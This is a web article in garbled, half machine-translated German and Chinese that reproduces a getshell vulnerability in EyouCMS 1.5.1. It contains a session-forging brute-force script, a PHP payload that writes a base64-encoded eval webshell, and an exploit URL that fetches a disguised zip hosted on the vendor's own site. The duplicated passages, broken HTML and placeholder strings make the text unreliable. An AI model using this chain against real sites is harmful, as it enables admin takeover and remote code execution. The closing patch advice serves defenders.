Heim > Artikel > Betrieb und Instandhaltung > So reproduzieren Sie die Front-End-Getshell-Schwachstelle von EyouCMS V1.5.1
Zanzan Network Technology EyouCMS (EyouCMS) ist ein Open-Source-Content-Management-System (CMS) basierend auf ThinkPHP der China Zanzan Network Technology Company.
Eyoucms v1.5.1 und frühere Versionen weisen Schwachstellen bei willkürlicher Benutzeranmeldung und Dateieinbindung auf. Diese Schwachstelle ermöglicht es einem Angreifer, durch Aufrufen der API eine Administratorsitzung in den Vordergrund zu stellen, und die Hintergrund-Remote-Plug-in-Download-Datei enthält getshell.
EyouCMS <= 1.5.1
EyouCMS <= 1.5.1
下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
安装
通过phpstudy集成环境简单部署
前台设置管理员session在application/api/controller/Ajax.php:215
get_token
函数是可以前台随意调用的,另外形参中的
$name
变量也是通过http传递进来的。跟进token函数,如下图所示。
高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54
这里涉及到了两个session,一个admin_login_expire,一个admin_id
if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)
admin_login_expire
(该session会做减法的校验,需要满足一定条件)
admin_id
(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个
check_priv
函数,跟进查看:
if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p> <p>0x02 Umgebungseinrichtung<br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">Download</p>Offizielle Website zum Herunterladen der Version V1.5.1<p>Download-Link: https:// qiniu. eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip<img src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Installation<p>Einfache Bereitstellung durch die integrierte PHPStudy-Umgebung<br><img src="https://img.php.cn/upload/article/000/000%20/164%20/168458488237526.jpg" alt="So reproduzieren Sie die Front-End-Getshell-Schwachstelle von EyouCMS V1.5.1"><br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">0x03 Schwachstellenanalyse</p> <p></p>Stellen Sie die Administratorsitzung im Front-End unter application/api/controller ein /Ajax.php:215<h3><strong> <img src="https://img.php.cn/upload/article/000/000/164/168458488279346.jpg" alt="So reproduzieren Sie die Vorderseite von EyouCMS V1.5.1- „getshell vulnerability beenden“ /></strong></h3><code >get_token</code><p><br/> Die Funktion kann von der Rezeption nach Belieben aufgerufen werden. Darüber hinaus ist die Variable <br/><br/><code>$name</code><img src=" https:></strong></h3></code></p> im Formalen enthalten Der Parameter wird auch über http übergeben. Folgen Sie der Token-Funktion, wie in der Abbildung unten gezeigt. <p><img src="https://img.php.cn/upload/article/000/000/164/168458488210919.jpg" alt="So reproduzieren Sie die Front-End-Getshell-Schwachstelle von EyouCMS V1.5.1"><br><img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"> Hoch Es gibt eine Operation zum Festlegen der Sitzung im hellen Bereich, der Name ist steuerbar und der Wert ist der Wert des Anforderungszeitstempels MD5. Unkontrollierbar. </p>Sie können versuchen, über diesen Sitzungseinstellungsvorgang eine Sitzung für den Hintergrundadministrator aufzubauen. Anschließend klären wir die Anmeldelogik des Hintergrundadministrators. In application/admin/controller/Base.php:54<img src="https://img.php.cn/upload/article/000/000/164/168458488287383.jpg" alt="So gehen Sie mit EyouCMS V1 vor .5.1 Wiederholung einer Frontend-Getshell-Schwachstelle“ /><p><br/>Dies umfasst zwei Sitzungen, eine admin_login_expire und eine admin_id<img src=" https:><pre class="brush:php;toolbar:false">while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])
admin_login_expire
(Diese Sitzung führt eine Subtraktionsüberprüfung durch und muss bestimmte Bedingungen erfüllen)
admin_id
(Die Sitzung ist ausreichend, ihr Wert wird nicht überprüft)
Nachdem wir diese beiden Sitzungen eingerichtet haben, sehen wir weiterhin eine weitere in der if-Bedingungsbeurteilungcheck_priv code>
Funktion, folgen Sie der Ansicht:
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
admin_info.role_id
🎜🎜(Es reicht aus, wenn es kleiner oder gleich 0 ist)🎜Nach dem Einrichten von drei Sitzungen können Sie teilnehmen der Hintergrund, wie in der Abbildung gezeigt: 🎜🎜🎜🎜Die Getshell zum Herunterladen des Hintergrund-Remote-Plug-Ins befindet sich unter application/admin/controller/Weapp.php:1235🎜🎜🎜Hier wird eine $url und dann eine URL übergeben Das Parsen wird durchgeführt. Der Host muss eyoucms.com sein. 🎜Das heißt, das Programm ist auf das Herunterladen und Installieren von Plug-ins von der offiziellen Website beschränkt, diese Überprüfung ist jedoch zu einfach und kann umgangen werden. 🎜Dann besteht der nächste Schritt darin, den Download-Link anzufordern, ihn zu dekomprimieren und config.php einzubinden. 🎜🎜🎜🎜Die später vorgenommene Plug-in-Standardbeurteilung funktioniert nicht mehr. 🎜🎜🎜0x04 Schwachstellenausnutzung🎜🎜🎜Legen Sie eine Administratorsitzung an der Rezeption fest🎜Zuerst können wir die Administratorsitzung nach erfolgreicher Anmeldung herausnehmen und sie mit der Sitzung des normalen Benutzers vergleichen, der sich nicht angemeldet hat🎜Administrator:🎜🎜🎜🎜Gewöhnlich Benutzer:🎜 🎜🎜🎜Rufen Sie die Funktion get_token auf, um die Sitzung mit dem Namen admin_login_expire🎜🎜🎜🎜 festzulegen, und überprüfen Sie dann, ob die Sitzung des normalen Benutzers🎜🎜🎜🎜 erfolgreich eingerichtet wurde. 🎜Ähnlich können wir admin_id und admin_info.roke_id hinzufügen. 🎜🎜Aber🎜diese MD5-Zeichenfolge erfüllt offensichtlich nicht die Anforderungen in der Schwachstellenanalyse, daher wird die Sitzung ständig über das Skript aktualisiert, bis der entsprechende MD5-Wert gefunden wird🎜rrreee🎜Laufergebnis:🎜🎜🎜session:
再经过application/admin/controller/Base.php:58和:106的intval()的转换:
成功使用该PHPSESSID进入后台:
后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:
weappp\weapp\test\config.php
config.php
文件内容为写入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
压缩成weappp.zip,修改后缀为jpg
到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此时webshell已成功写入:
访问webshell:
升级EyouCMS至V1.5.2或以后版本。
Das obige ist der detaillierte Inhalt vonSo reproduzieren Sie die Front-End-Getshell-Schwachstelle von EyouCMS V1.5.1. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!